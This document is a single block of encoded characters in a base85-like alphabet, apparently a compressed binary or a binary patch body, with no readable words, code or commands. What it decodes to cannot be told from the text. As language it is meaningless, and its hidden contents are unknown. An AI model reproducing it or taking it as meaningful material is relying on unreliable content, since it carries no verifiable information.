zbJqQTb=LFT>%2N=t(#XDi@i2GyIog)zwh_^Vf|h^fzIoool4%eybIN{a!s?WdXiB@ z2aBeWVrV(<+iwa&49cFSUY~zYc--=EWb4U%7gd%1PX-m;JMWVo1O(i1Mda58e|56{ z;+K7;pgglPUo2ZI31t|3bwg?*c@CTODJSS+RCFnt5z7i-{aV}gO%=3wz6Yc5geB(V zITH-921@^R)%3IpAO5p~)Bky^;i9F>S&9y>ivG0SA;CmHv+}rvggVnFUkrv4&;wk> z1AJsY_5&@aA7YD@6oBmA%OC0xtp}ey?K_OtJzymKfa7{8yRQL(350B(*sIxOmjEo{ zh_u)K+1tuDB>)Wy9zB9IZ(f?n zQ`T38#tI*JodM{+C!xWchu_bXQBKV|ySFhL{TtZ@?mem7hu}&1K-DLJtFfKUG+p14G=J3O%e#KVW^#d>m zN6x<9Ued3{YWklmUr)QydQive9vF%;&&Tgw4fu!oEhX4oF`91jiFQLL~ z2kL%5ExD5H``o?ng&4yJV_kUb4FPV)b5mwL6}==ZgJY0(G3fmQHW*}+A@h!@IP4jI3$E>f>6~P%$@N+G(lfQ5o|}{`Ppvn-4t9sq z?eA-nOWEm30?~(DC3*nqFg*li15|T=c-gw7{*IuZ*{dg3R+-`_n_9+B%FOT(5DoTW za`6Pfmfijl$mg7yNUka_T63dWlt^?=Y)<)l2d{@Zq)&2k7hqPL&_WW3w6lFXPwvIJ zjO5e%yBSrs-@5mNQ92=0y}(-h`|?2L~BiX~hs+XStTYpVGr7TJO`f%G)cz00ZHwB}Y_ zmLN;p)j3D9qL@nm@u6J_)KS32bx6JXmns=?2V?PKZ!Mw8z!4lqr+f=%k_h1b7A6?W z-Xi*N508p(OVSeRIQ<))KWC=T5=v2Ip3ZN4qCxif1xe zo#Kj&^$ZG4&c*4P4E5LTO8;i~>eHaV+3e( z@l-{5)fc7jPK6C~p1B@n3!Lpc`-IIpN%r2^;&N3`5KCT#_i&!MVM2rl5te(s29O;}cnWNf3 z4My4YD+`?xhFlX}Y==Sx^O>4)m5bkKS&7?ZLwp!~PsXdGK23AG1t_YjGem|~lu*fX`vF(~hQr8H!c>#o;TO{R2|J+Qjk2|+K z_Ngw$v@MZ}a=0hw@ut&tjEyy- zN=WY50$1^yfx+1~C6b7*z`@aQrLzU~G#fI{1^yc+6x-gEiqN}5en2HI!HZr?L7}rI zLPyVju*v9wC{x2TBawWd9kQY=%dzBHsY|>qUEZQXOOUqX*kCpFOoGoAXB_#)z8gtX z+P1M5PhTYq5!*YtRgf0|`p`Uq4chA>e}k`8JDjM6HP_VmwYOMWxYMlI(=)GT7T2eDUjrijTTuE^` zRCSqCqKp#ObfwQFi6=hq3BId+2jKoH)HW!sMqa;+R=n$DqQHaFmlc0g*#m^=69mP4 zP^#W_qG5Ssz0W`9GpDtAt5OHYZVgVQH1{5pA0g2$Hrmw=nm z&fm$#+b!^X)Lo%+<=%u}Ty2t73+1emPRJ5$EJj%!1eTjT|7@&RGOax1hm5{yDVr?F zd^@~ckVKE?Dr)tLukCdQiw4=wvQ%_gTq@Lm-Z{V^X6L@i7w5r-tG3dJvXjO#&s%#+ z1jQrDgT>wS=qYR%48|^^L)FIxm_(>gFON0bt1C$+t>*2uV>|_&8B|}_{atztW`Ruqr;=v zw8*L-1(Ipr9jzU`LVZBsaSzruiVBibVMNWrtaR^$`Ah>}QELMJ3iniPCj34Tis|5{ z$8mYsrNTC#h0^BG1v+V+E(x%s7Nb30`@DE}B6^~#)bWE_VXhJ(BgvYB`Xc+@SnU|o zm?^1SO0>=t46>h#00UU}965Ml#t!4a)K@{q3{{}W*Mfv1Ql{# zG}%XkCyIXC<>=Pc(B44I*U=wRn_?@^k?fQxhPJTRCid|etC-4(QiDAVI)+xL2NpTo z|MmGo%}hx};!KgICa*h&pS<}2pykP+Z8FriFo!_9}5q%gQ}0kvyY$c zq?UxPJ5)@*bM#RePv~$OIQ>J1^7LCZkWQI$8uQI^EBqwlwC4MnWzN04YHO4x)RO;P z&d|ZK6^+*-4@XUPXIld$aLR(qN?SQ1#e2Mz1yePtw&D;obRQejm0lN*^LGd3Ufu1A2Ubh$SJpT;W-AeHpmblSk2s=i=xk%bBr2M8{Mk+ zYM$9`7dd-PW?2bm3|m3A6ga=AZZe-lKkbB@B`w2MX#-GfWOJv21h!g!t2QxOLTl;H47OG zlI2AFUISgc@<6<`$ML+yJhe86{H5s2=5ASMeC6Yt9k~9?sNN*arLhnaxtAtsN)>D~ zIQ>V_w$c8UX_Z1EGMR$?V|{YfM0YL;gp!(ZNeN40L=#K{K)=;McP{!iUVke+vHo^v z62&ZRi}U-vk&={*7!MhXozJ9Fxp?s9No<_}%#KTvV*F+n?~)B|PifCW%G{0nTusr` z&xs{T@f4IOT{q4ZA?Xkzf>&XR@r-06` zd?AniMZAD9gB{pXzBLP_ryw1^Rebw#n)i;9_q{e$4W!Uh9=Gw&TmFQS;Jbgj8b6YX zzcp_rMj${S??`dj0DVw(>g8LnW+nuVgiPveJ#X9bCsrK!Z`jiH2%)j_3sAtEAWT#4 zE(gNW({sR=vM-RWcp|UG9XuqVLU=b1?X?xpEkQOM-z%9jM&zS+U|23eNsWxwIDgF6 zMzsSz%`CQNweK0dsQgX25v#pn0774&0~l&m~N8rfzI>TP3BSOL}cqd+kDn`D z#TM*o3A7=UBQzo)SU8ZcxM_B2(7+X?73Y)MYsKN)y*x4Xaw7PQRnXKg^*9}Y?lF#P zb~oH^HLtwtWqkA6!m2%$Q37vZtPPZKASnQ%v53=iWK{h_j!R8{VToBn^s&zpvtz`y z`)c2Cm`asogNx^WIERN(d}N{(dUt20;+&$6V?LQB*m;RRCjaN{Li9dJCY%#59Y&K_ zjxX&4GSx)m^}QrYKfnaGo8^AWd1|FV=$MnE^`?USgFHH+Zf!Th@&C|zx{S}2|h z=ly3v8wzd^H-)j(gGSMGukUAO(uGB?ZPlf5kS(3}+tQ5Vx*eX=^C~aak}n$eQRZPT z@hY$>X8;+{a@JDkWmRP8xU;&=2`o-nPBTW<=qCN8A)k7kH#5kot`aY>3WT&i&!^Y} zcgGp9z3R(?ibj$80w8G2SG1&38Rd47xP;qd6_VESq7;w%t>n6gxKzZ zvW+&8OCrbAk&-wG)lf?L>W)jYTBdp}BYKu&t}Y2%8U_x1<7@za26wSNBS!J9RXaSZ zW#ymBc{e>8CKm=1fgw@;I5s$E=i9mb;!tU&brCHI9bxE*H`S6jll)5o(Y+Fhy)^txZzpsP~PTIQ}+-5wd8VR`8CI>&3Sj6WySf+u96P06_$GptieObO0HX zTmP-lOyQk3|Mb~h|765%VvI)2^I;qDjv>5{e1Clg1r9{}qls8%an&(7^mMMq#O6|OAnTp38eWus>eBH?pzczMS5Nsu{JST< zUuokLm0)oX&jxcrkO5GP07Rm_7*I~F%DmnLa0-UcJ|<~`c2v$)@_Q_M-Llz}8z~lh z>gqgsb2gq5+D$7$Jvn=6-dO)vWw=rpiH;;H|P zs`|~tFg^<`Rfnp3Pt!Ob_1RxP3{@x#Qj>j?e?yx1Ve5={*h+ALQ`jqKoA@ve06?-t zJ9*2d!Qpe@JzjoKX=;^Tq@Qkr)=)SC1kM2mrI2DLrXpuU{<`?rf40K?-)wb-Pd}%O zOD&S%kU4qRiDreEH6;l+6xu<{6@JINRD5&)Es4~|AuA>{J)udZt))~L z?CbjI+UY5&2-g*u=rX+YlM+)Z5;PK3AS&)4sW19_Xe%F60E#=IxX^!E(w)3HXXKGg1H|+N_o~lZ*a;LTa0pHL3+zLEy z$SV{7EcIS{J(wbA*YV)7jDwdKRhgV<6EfZwOr>}2gF(`9i|LYY3j%k;Z)w&%&1mFI zZE!|ofP_gM$=P~sQ^-cPqT>D(tNr_#>HEp`LgLeu<*-_`Y>kP1tQ^Z3J4b=dr?62oWoRS zU6gr@>n-+6{_&Qu(ZpF>oK$(kV<*<|>a5*$eQw*iYNhDWS_oV#k)+)A;PXsoyxMe2 zDh;;P)9O;rrSlW2_hodW-Um80eLWd1Em)q~Ahk`}g%+mr9bX~^n&c|CLqo=28-FRs zE#$moAsH}ax42bOxtOdzD5t!_#fi4VDaz}f&>lS0bd(eHF?FWQP%YZDwe#NQ`dQ5q z%w0lF=2+28U6x%{>#GQ@gO%0>k=I|#USDnG(u9%=)>|-rwppn?y^rPh*>ciWe-m#y z5_}SNteHY3ELHe=`q=4(4Bw#>p&s`@Nb1IgB8e|&>jKl{l{Fjz&W&A}$0{Z_L0Q)d zlOqT2ytOpET5p>8@iW@KI=01SbEMShaJAop3<}+X1ZC{k7DWS4ZW3u11{nJUmNe4F zOR3o=&IL?=XY1d38#6r7YD^xUV%Z5sI;3-98`8N}tSc<{{S3vy`}>(aodYn|fxuV9 zZMpfwt{-#PziYfywcF{MRzMFcsjsA8F)?{i%kl|J1itOVy!yWHiBS+GmnP3)eDTp% zX;T_wo4&5{gu#k-mWl9f4OezJDSh=m&}?ryWuknJ^}nAP(3afP`M7m*m=U0j-q>FY zPdv~$da(KZ%$54u`R`{&`XH)0UfG2}5<MW|DTjDhA4PB?L43JOQrk@UcKeMBMPzii$vSq}$&MCenVsUL!7#qt<#e}ERvzu0G zo7OwXao^-Jg7zm7va9UxXXaAVx586vzn?i8UAT_$8ziqUkb;2U2t7>s3H3rVariDJ z*-lv(w;$$akF`Z6nClfXPGcA#1cDrc~~EI z?K>A7r^FMfwg}x~0prW^_lbUF5LmgptG1k{P6euGq4$s0=N?*TGM zP}WgH(yWaJpN)^MO_IQTOvVslXd4<>o8MN24UssXfksa)GYyGMQe^Gj7KkFHamFuE(Y}!E`Muy^r zgbN0OeC5-naJoxX$KFFDRI5@(f_359*EyKne0-@xLof4}DVLk!hw!QBVsTQL&2Onv zT)a)(4C6 zhnC4s;Cm)n-F54c?RAlq6S>hloO>CJWrGhRQb?t~ye5YPb8LFoAsiw1ChlyE#3R#L!OXnbxNW8R)8-`lowksY3CJX^qMhWBK)%1-M>yc0bK$UD(*? zETIXbf%DzjqHj=oGca(;&j5ekS|NrZKF}x@awh@q^tCdgKbWz2?;HSJ%0$jcrE2>ewtR*r%yx z(shq88haGX$x?B~9u|w|M|GIj9R2=DH`$Y`<%U^iS5*22*l3YUb1_z5GV{hFc`TS; z{oAW9*xJ3mP7O$oC%b1<^xayL=Hh%Mkc6x2^yD~Q(4uX5)V1Vt@`@0q0aoW0WT*IKoX8 zeiGO0I?_hc5={denKoZ3C8Crr!YW0zuBblr-Hh<8fY^(HJIc z5dj7~Zcr|B1DJj=$K>Iij>qx`sih`HZ+YD4;C?rQTxgvKkIH=T;RGEd>ExlJoO)&a zVA$zMC-M6kSjwp$MDgCdXWRRV72%W;!E_=ey2IDBP0wc{ec(^%8sCx9;*@Fy?lM&& zFk6VA-@XH{Ej1Z14_zz(m&W}wSaK!!z&`Z%`>jMZ7A$H+nH#BVQV05NqQDD_18m(&Ha4$76gx?s=qo-iYL zz6R1U%i_2|MOI`fP(DR|z@z7(^>Gp2jpFC*Ww}Z()G()O_;~teJZ811=bA|*4yhfR z^*~0p(|#1ZUT5F+Xx>NKn|Q9ZXniUvR@Y#_GTUA5{=u+qhlpL|O|OjLI{z+akM3AH zez>f2Z`JtM#%`pa!6cL4DYa`BMyWch(?|V)+ zMwDFK)A!^_?TYOUFO!-bPn;VA=zzO)5dbTB@xY#ckG19`;bTK``7IqHT<_g0QES-1 zgK?}*lDTG8ZW6@O=hMp-O|`)Q>Be4y+^ejX(bR3jxL5s{V-kro%;+fe^+kF*xv7`S zj+Al!%%my{U)G6nUYo7X@iX()YMw_+tRYSBd}&Yb9P3$*QF&Tj`0A*X_nu~rhpXqi zrT5TW@eT8w$^a{9UKk9gUmfnYS1WL;QeeT`f~kP#c*UktQls{A$7Vx>q8i!u!&Xin z<~QnV_7q*RYFu72{eG`E$|bbhy$_#wyYk4NWST4FkoTlh!bL=hp7&%fcy*U!SH&Px z5fZ5>{4MK(qROVYCYh_prj6P&A|AqEh*)GMRIxJI9czG>nizqyG*_tXc}ecP5AXN~ zL(#V)wZq$z=(fyMK|oQ(i^eyBLk#C1Xz`V&`{(GTf3<0!m#%yJ);BIvby^BqHs?ZV z6GZh(Ww0!OD_;R`R1Qfb?PvhUC<*4+tb0 zM3n)eLZE)cG;M9l|2@?{Y@E;chPOon*aTIs>2*~~9Q)2-#oi%z?xUV1 z@@3oTV80{6MJ+;TFS9x}6W=3|`8-l4-UX_xd>)vXU^Xz`E=r86A{A zmmN=76JQ3571t?-F=1TX-Z8|}*F&kc6)O%y2lS++_IP+?+nq_q&8R4XvlI>m0!ehP zi#%HF)p4j0-w{X}cf$`cI5+pO=I#v!+O!YWN7eP3bLiHWeKwR;hg#h98k@z+e1 zkUkx$#G#(m$$3e)k%!Er24){oMXLlu(g^UM=UgQ=lnOrUUp(Q7-k#0xSFvWjCAH^W zNw^cDhxot90z$=Ai|IkVX}ba}^+c;$M=5_d6wN@=St|~8H~<*Evh(m))7uaL&C`0E z$}V=QL!^GF6uzvbJ>SOe1TePgL5UNxNL5b|0B&k@c}`wDDqk_MO|%+PGv;%(4HA4v z8h>+te?FOK%bbP*L!+X~PU9SgsL*}t3tZ$7I!uxdD0hz@K}osp7#C?c15$DD0|%zGJ>{i6l?JJYWCZTeZz6-eh$wTfD2T0Gv-71 z^wdbx`ueUv(Xc|oYPALL#^sHdO?IzZQ_mx*@{M*?UKoh|u%i`<1c=3%ycK)keYv3a zA!_#}a&_f1;yADb?J*e|BT=J^=V6{^HNEQY*8&-2De zEOMBLBz69kSq(_PVhHcLNDEH0{qDP!qsB>#i{(f+QVJPtkePtH99j}AHAWVZSS(?g z-x!c*jaTo&Gg=j8WG=!BnqvEHuxJG^EZbFfl*Hy0#h+{tRhu&yF*M-SLF~(q&L@VY z3>Tk8u#(&}KeYqh87o}`9l1OQ1x`={_r!1Pfdj#V?!Xl_d;i$5&P?ZC8x(cGL@FiK z5x{ONfOk2;>*{5$;-s3+*rD-_OWAF+TQ){E(uxJ?SHv5;D2flqSMp=!~V*hyulB5E4(iY3}`TlqHqx{T1vKJ2kAyO!r`S>p9_7J39y%#NE`NX^5D|S% zkMm6IDJtR&7^@7Ix|HBv3F2r~*tF+Ybkh3W3+S}IRl8ya`>9@6)MW3LHk@kPih#h( zaod7UKd8lB)zBR)FBW6WR!S|)1%4bZ5!)J!PRuPD)A*TVBQ<$CU~aCu#)Ck*Eq&qw zX7C$DmT~+hNq4kpR?j{t^E>qFLF<&*ZX{4?S9;L!5&2oWMVDPCqQj~zzKY--6aU9Z zuY&4W?j)XGwO8%BP%-ukM)o%uYxZ_vpvTa9#M{|*hZ6vj6qDH zLLoFa$Q)7JusLc3YuMvXaE2srjz^~W;ct~Z6H5pj%3L)i0$3d&a}+YUg3oo5 z^DgS<`%>E8uV{&mi|0=51ZMWKimd6?)mxB5H&=%^KngEvo$mh_)iV-)Q3s7Q>uqf9 zQ=Fz-{&kM^zo{txXMfUM@GFT6wC)r+P|&i?F5!xJdh4%OIfmr^3kN;<% zZ9snizxUta8NXxO1PNe913~})9ur4J7c0Xt8{~fx0scJ}F4Z4Eoy<+a|Ah|t_gLfK zhxV@s|9_AF=g|IpnEyJn|2>=ky*K~w$LasoBcu&NP`qsfMs(06p0)8h)yQuhtVjRZ zE9U=0Tm4WpFv4%2Rp0ek>hX%K;?2cWcTw>nWd4}+-=Axja_$65#rb`-{&a)*A6>NcA6gg0S62*EGwer^g_da!NOIIEc70yhjZM--tON&r1vEgkC@)dOgWhXqs~kXOH!LarTL$Z>2fsFf^md^=%X2B9bV;EJ$grnU`p$k z_kK*IK2^-nhg9viHy|{boq0)U=lhv!{XwT1^<{LxY_lF7C$gCxrz0}Ak`a8^;ocNL zM1R{~N!Emf-q}@s!F_-YIBQh!K;$i>FZGG!vq7Wf4|zU`G%E~-9`D2q&;@4AxGzqT zw=9LHeOk0{E{Sza4W$OIbiZpn$P`ViuiW~BF+tQtQOt9Xa@OO_p0YLX9NbQsk>oni z{4kxKJUG_PI=6h*Z&Myb)^hA7JI-Pct1(`!nByYz6ZNmcqe2qH_9B&HZ&2N14G86v zNykevo}MmWiiK_EbBr1LqM~^2q>=z|Eh9Y#l$AngfX$Q%9qg7?vICVZ^}qOq6FUuG z8>hW5@04|1b?Q=XNLXbY6~b6JEW)1ywAZ0CszTBS2A0$4n93Yqgy;Yjr9pF-8cVK5 zCr~g{nml9HZJCo~*9f$7r(X;Sh!Q6+*7ZldE4}q~Td=i+pR{f1PEF2Eiv%RD61w^{ zoFT2DxT}?wj*iuv*9!m}jx_$VU$Z@J6U`K|8mOcRXw}`in9R|ao=3Pjl#?^LA!5V; zs=%QNHjQA#4$tGAdLAIMee2gy-fYX+r%dp&0H3#uG~zvY-`KJ_s{U&Odrh!5o+|*? z-2@w(&4f$`b(qM#Wey7#_{#RU2EM3<+k{Ltou!N)_&ynJipYb8*aumMIa zY|3YmH*LBx{nHVDow2F&?TtvV2q={0$sM&CULU9=!t1Zh+fBSysT=k{h!e3@ajy!E$DrK)T&;QXiwz3Ibb=I8=88MJn%-g_@ zm>dSntLVXC8leS$5mXd1@w|qpdtxyQ*cm<8Dd(kHm;bCGz(~hPruGoHERS)waw@-E zyIw9}88!CMEAY^{xjU}Gxp(C{!qs8y%~scf)ZsXzHnX1wB56U)kNrygRA08cE0%&E zHKh(-%}uP>+q+UR-}nL)tUI5(Hy7_3kRkvgl_``_x4lDQ15B)tUF)2rTkeM*+^x0O zhK9+UD~7PgUQ*YP_(>R8%-YG#!yrC^e177ZBO zEL??O8qN_f6SSR#VdKMMAW4FC8P&KtWXu#n{rGnC#91xN>-XHRn0A9YXP7aQl0-z6 z3gs$?J2Sd|f;`aK1YfJIwr5($hNp(Vr@nbEE$S&=Syy_TjVzhh2OU2tDz2Ig8*AkjpX97urAlTsT#G7~5@OJ8|h&qlI`37-?v=thzSdP=7n2(1qOf#yiPHyx^P5wb&j_Lc%=bLnICxDy;V2 zmdkliwC!F)WONFYc=gTnGi!M+$p=8qu{Y^btF@tdb1qzL*)Gyr8h#YZU)Kme@p*Ob zLs*@H;oFbh68AQ%+9b_ixpb_y=^5Cw7Y||mbBh}R5t3-wVkWj!X6Y&~(%<-rbPCGc z*rBfrXWUOikAkFXgUizW*&NF>-y=SAlmW{kIE@&B;}_a|M2$Ym7 z^D%V&pA=xV0W$ty^J6rl_U~PkC$emb&Qh5)^jbWhckcs>ucGp|9+-3T#exKeW{XW; z|IOlxF_muuE*G#{=(`F=!y(>Hc3VeyE171v=J)=*_~fFQxgYB|ay<=_vFf9uL2 z!6phz9s08v4uy9bjlo-xsYB3W!7-XLgiULp%YNey`$UtGuhTaXv$hvq*Edzsv*RJI z=D<*3Wr4l``KYMOV3MC%zkbZ@-vU57(W40SVK?0nGd7>9!4-Ho{s~^Qja)&XPb`!rEw9-8-p6f|C#a zoi}t+&}}eN+M!Mk@8fc;uWj>N2u!C7$GXnvGs?a%DX_p)|9<9m%&X$Ut(uTjNal|- z$eeDBQLOc>%SfwAI*%I`ltZ2%HQ;M_(zZWlhSdU89)BB)B+_mP1c5V79=hMursb7<1cYzhw7KqE1TE}B^Yny9C+pSxa^R%h%ugm-OU;wYaF#BaHZ zdEyWw$A(L9nwLwYa3isu!$VJvZ|m5ImXy&g1pCt!Jp#?G z+W>2%BXvEKf)ZR`C%HUDL>*og^*G$J(SMwqUx$JlKfVK-CVgpJKSNY%*x90kI$1}RFI5adhHbA z)>3XHVRchZ%ZX}pD%MNl@P0mDmP2Xi; z$?-|L6kCXzdr}Id(9XiPb8>d3kV|QOe{UM&FSOKG#rdcIYSlW6xeljG_aMOXQeAtw zDl0u@o`91J7Qo{6S1{jnH#E*eSgNXCd~D&kUS1pLNq0m$c9+Aqw>O3oQ_{D&l=spY z?#i#Ptq)TYhud5w%6*sj3XyGOMS-;>b3`}RvS4Kt(^%c&ZFYb1fxO+X?5)931=PiZ zwsLNbH3ZWOyaz6m0y5dwb%U$Ph_GrsiS_v`>8P5Ix$}dA%e-#6I9aI+ChMztYj)}+ z(ESfvdzm?;!ual9CZBigIm>22<4?l^?jnM#HZN4zSB>vlG)oJok#W|?vaYaT2w?xO z_8!f7Pa6MZ6FQ`f`@84KN`H8Oq-pET*l^REKA*gw1o3;*atAW26+m0LCv1roT29fQ zfv=$R&xawQCcXFEuX#%ToD|Y#)!3C-Dd;dr&!lQC#_C2$HRZ)H%?N7uX=O$pE(zx<7k2_C!WU<)uvJs(xt2)**nkz|iLVJG)CE_A?Xg>5CVHN( zR&eqBW^jC$OLPtB3b0Ej`@@T7eG+U>f7OIIcq9(0%FsfS!I|srUS66 zaG14F`}hG!<8SUCScb)IIcu{lUPkhCr^Ty;9X%M-P(h2^-$^|L8rMAeo39AmeeyWa zP}88h_9Acohok5uBr!-s+_cXsq}HxmFfoa-ZiNK^QXOC5$>@?VSI@0!^D3H~-FG*B z+w`UwUcvWnnTYg8bdmORh4$pYl|ex&+ZCNlQUb4Er}c$t@g}9zxYNv$Gg-L~;_6(T z4jRM8QnmyX&AJ-Bn6U)*!p|G8nGH<0hK016@{fER@0zc$QlijgnSCaL;CGqAv4keGDXle{F#QMvC%YQF7==}_MHfH+ zWPG!WUOUiH#UWd|`egD=Xv$BZ`t|=-f|@IBmm0s#>2PGY&V~H~N=L1tHiQ%;h75J$ z2a4#j9L@2@tj~MKuhe;!y2q1O-;Fi~V?HmNxV4s++qjg&p~|HQy}o#|(*i4YDkbSk zuC<3ymHx*No)^)Xdvkxbe+jW2u21)+C?Gm0C-^|laTMEzZ6w$N zlA#?+o!bMU*fo`CIJv-W4V#z}uemrU|1Ley{>s?;QmF_EV54RkyhodvKcX#hl?JQm zYY#7z0h{q0i-aHYj=KtZGz<@Xak)YXv+SkxPOoFks|3qZqK$dQ;)?)hyWTU>(ygL) z&^n3SH7eWEHRcCz8iCh5i)ux!-WbPe1gaV^LX3v=oo7ws>N|Udh}fIM2}&-A{=PXU z1>QJ9(UEIJlFuNv|I$J5EI=S!**3_hXsn7=&wPPng;mPY@!M8>JZk$z6*^qLV*>p3niZc@ojh!9Fc?@}mS(l@`c6<4&@h<9eaN*!HY9KfW4u2>dn&N1O2 zsb$R&>ws#|d(kz!iH>_H>e270VuN5!h6g^@&&}jrWbjzX!eCYo`|?7!rwiPFDA^p9 zhE=L};?qJ{lq}gqac>q~vd|T*S`C{t7V3=vFf0=tm1UxiJ%JCF#c|Xr3#+0NZK-<8 z*TMyBIc6F&Nwx{$Z7#W$FCBzzilrfCjn3PomvCiE+0bf`xtvMrj^wPN|hmmcm}!d9eyEr+8HH{j%$=+J0cP(}jA)~hr%iV^=6 z8qKM-{l@&JiU1X;5YvXKUsE0}NvV4(x@&je9G#`1@$3GbtnfQyi+uCC63XOpfs9@MO04OdnobwEVMeRoWeeznX)6>w?xUFWNhfU2YSuA2 zrZ%B#GX+-t$7hAW<2T6pY|;1<=Tk*~u}!nf+=e$S6yCfakz_m$AWANerlGAN^KaCcsNI}`DwHj z1BuHlv&wdLfrTjPvYG}te0~o|+rjDlg<>6w;@*{fq8=4wsqu9i2@JS0gOLs@?XEgT zH*gns)cNSmDHYTXLaYW-KxE@PEH4edXofbF>JrZb6T@?-1V|kFPxQ82{S)Cz!l=!3zlQH~nrmM(H;_&VoP=*35KIX0`t zsGG2!5F05#9w|Sn#u)%k#6E@iWtlU&C*aP;R?Tp$=}bk%|#D1U3mA(L920aMl$Qt z)o8bWh>i~9bFZu$EhxpaJ1YUh)8Rg%&qht@ZwlCHDHm>m^L$4`y-Dp46h&Z=B`UBuFwiXkW<-rm6vf$?3(PtU*cNv!31sWf z?YQw8AFi%jB9IP+C7+AoZJ+JevZX{}2;47oCL_E#QdOpn7*)Qnb?qr0}0}wcD)P|*HY11@Ado8|%2Bz2ym=C#WH+S2bSdFwM zRt1hv2Eoe|#dHz>i@o=bYC3KAewlHs*Z}DuN>%DmV`z@jyOboffD&p#kpMyZs3X!b zU}&Kzp@syc1PGyw(n1MH2@oJCNQWRrnxLLM`g{(Vw z?p$}juJ5PNpuRU@;R7nWxk?b3HJ~u{wkMX_aHY$ptH!XV8LhFKEjiEDqAW@jldvre zGmcvTH}rriuFY1y8S!_jE2tpc_hVjblwQQ6L;7{xKceI5d z2${SJD}A;ftL6ePlMW+7l{twd~5O3L0LjV0=6(!`Rjl4C;eUg z|DYBK8+4Jg-V4(2$zEDOm(71OJ^kwXU#yYe{^E>02`_*3>@U{HiGSit*!SH3?yZlP zbI!Q@MLW^{i(V4WzGeRlc5>;TP!#qh{ojTD8?fT-PTsKWO0l|6Ns2DcP<@f)hs==QohYx0(%g`Rz%_cCy12KMOi2W_zb9 zo1^#V*4db=bw+~n?s6;Ub>qJ8-I0SXW4bgTHxRHskMK%PSk%IxfOj} zC3|^45#Wm_p=(Q++N*ecTwHt;zEE7YvWxPr61ZHcu9p^#?$xv{ErZ`Xu-%-D zmQwuP(@C<4Bp({mU0Faa6yK}hzwJ#r((TLRZK(oyv3C4MIo*X$^EG}hY!tT1Bl@I~ z5-a>_T7j=Rry9HJ6MmuXMPqa*gMGwIrt~H9*{cgaN`zd; zG0MKsyx{mq7VBDfix#Rj*hIsvWKDuA)IQTI*ly>G`uU|lBn8YnE}?P;X{Bg)BH~)V z^He(AT}_(0+T#1b3nS+iySpNZ zW-&mO5D9^?$|>>>j%?#dz~+;7#PLGE?d$w!W4e_4kJ+c|l>Az$aGgFObvE>1eXV}E z!&UVKYVZ#_;T(_iffaNZ2>$eGC{uor4=fUrsbOT?CASAf_q&nUy1*#7;&+>1c^ARJ z>&HgK7jLGu4;p=F%)A+~g}t)Tpe%x&k-D`==W1Tqi@aJCkJFozL7lA%eeD9*Bkki< z%)~nqjs%V2%88P+cnXf3UzWh4TPMWDwS?a!PDI)NS@y6wG$hYf@ha2V?%T7~FY>g+ zUJd^qPvVti3^B;D#$Zy{P%hmgKvuDD0XfhUnBqQ47V(r2=5x3?|GG=Px_>^cBd9atLP#pV{e*Ki#VLKXyLqt)1;}^_BvmVZH%D z71a)ubcVQA;bCS!f^qvySs?0q0`xXI&1<$G+B5{w=jko~dH=@MYUTcgOfRHy%2W?~ zV{C0Ub+#gjH(D=Mp#N&d@FBuZex6_b&Nyab=^gbtf?ILO`G{LTZZw#v4_a-VyR0k{ z(fBgJp?{gsX)ilJ{6|JP&GJ#9iKLs}q_{mqf?m^6X^2Au8w~7Ze5Hw-K0v>i7~vN* zP~tCr$whAnJhf841oo#gMN%PnQ~)B2HA&gPvZ>g3NyRH$N)jE8+f1?^Zvwt5M*soo z-LEh`D2cR!kR%Y+cml`(PATbQWi0$*fB(Nqaqd4F{~@iHZ$+YBeH^IhTBz%?b%6Pf z*snkMwYg=lowuhA*1uS)6_q1>bg07xad$fNQ=iKjhE6cc3m*uU85dL(w0Z5&STSwT zB_)ql*eI7&0I~B|ygU3qBZHB?`IE%J4uVUB)q%s7o~rm(=*hTVoA#P~z31Uk;}4pa zE69>2S68PwOK(3bSXq9O>Yv9?;a-}X@oZ#DJn2XF zaH~gdfJwc{JNQDGJd4byk=E%6*%k&bQlDqDMDJewe8oY*NUw3S2WXGq+f%e066Ri? z@$yf=H&fP&3xB>{;P}a8bTOJaX2SbuDF zP0Mm~w>J0a+!*bxNztcai#{#$Y16!2GEfqNViw3epw5T-wMjEWC)Tc=gv{E;QsGLc zHl#i&+xgCKgE#qRt1NRBGkl8dF+yF+W%wo8Lo^RNltRcZ|M|sWBI4H`m;PHh=)Utr za4Vol!2p2{XUp^#7GkfRNN;@basO2A=Hz%2I?&-(-GXUy-~Hi7&RGXY$Yc`L1lpV1 zQdo3;QQswAd?Vklse|JbJN%=+eJud;Kn;4NfD* zHBKqd^jdx~urv!3Eb(&vHV(XpJC=H5-#iv1?9wzb;1P!P+)T~xA)MV!o3H5naiw&*}(z97W5WSSm<)4 z)-86@gUbvV2h=l^Ia!-LLWi4`Z{Wuh*KM20JFa%w^y8xK>9Ujvj0+_g`c+(LBf#2i z`)j=)^eTj_D8RaI%6B+4qK`*P+aIZcNCH<&Wcm}p)xGouh+MtCCHX`-LvOW3Ic`p| zb?DI4FQJ%t=a0skX?rKHp7>ocA*3lCfyP%(^|19WTSa^<%=o!UBMW1DO9}Ok1!3`l zyJ*E2G=!bXpo;RR8-@u7`+pAsDbkugv;JU)5wq z{wJT;R9U1njmAiCRgZ%qs(wv6M2q@Gu#C;h$7n6v%^ed2VClwa$NN%Gvn#7kv6?RM zEuhOGEW>zMovoP9>`h1kxh@xfB*4icL<3}4rhl1aa!qxAg!MYomx%OF_+x;_XY$~! zx2Ta9WSJoCzo;`&0X&ChL;-GRyDeG_0T?>O%>KmDvf~?D13fm~woc)mglx_$6(G;M z3HCi!GEs@y*9^kNyGA3N7uQ)M+5GOPg}rDwYY?wBuWf(pEU^!*>NzepoGM&$Kr~X0 z;PKP}1isPCD}PgMTcG+P{#&|4f*JyRi(ZQxsx*`vyW&!oP|>m?FRB3Sa>u2{-^Vj; z(HMa$h?43SuVgr${a2B@@O|Vph|5SeptYy1$qP@vli5&_4kwb7X z+HUQertKTzc&G8K6#5kGOMnnW3m&<5wSn`?;%$?qj8^I5c-bLHO&H5P@8|6bw-nLg z4u2*Mse|uaw2ZHj)tmk9<@%6OaVml{ek8ayG;PjedLe`8Wt^0Z!3-I%_Po;+ee zHdk+OnW*Wa|Bd;ruUe3;Q*cc)G4-?8-yO7HkKtx`-|^ThHjzrZE#-xQ)pz@Mf_8Rf z{c8F?a{ij7C}C1ko$hly=#^Ca(mYvIdp)WQY-X~r7^*WpRA@Y}Z&8nM%pV%U$CcNx zWsZuziAEJ~atQx-AJ6?q)6xG2|5s1BzD8{fDLoF*<hjZL$s~_h*RGVu% z;*1#;^Q)BG_UVk-O2>AMJ`R|YXyJ7!!pT9fF-$TKFJjR}9Q#%P`LjEb9 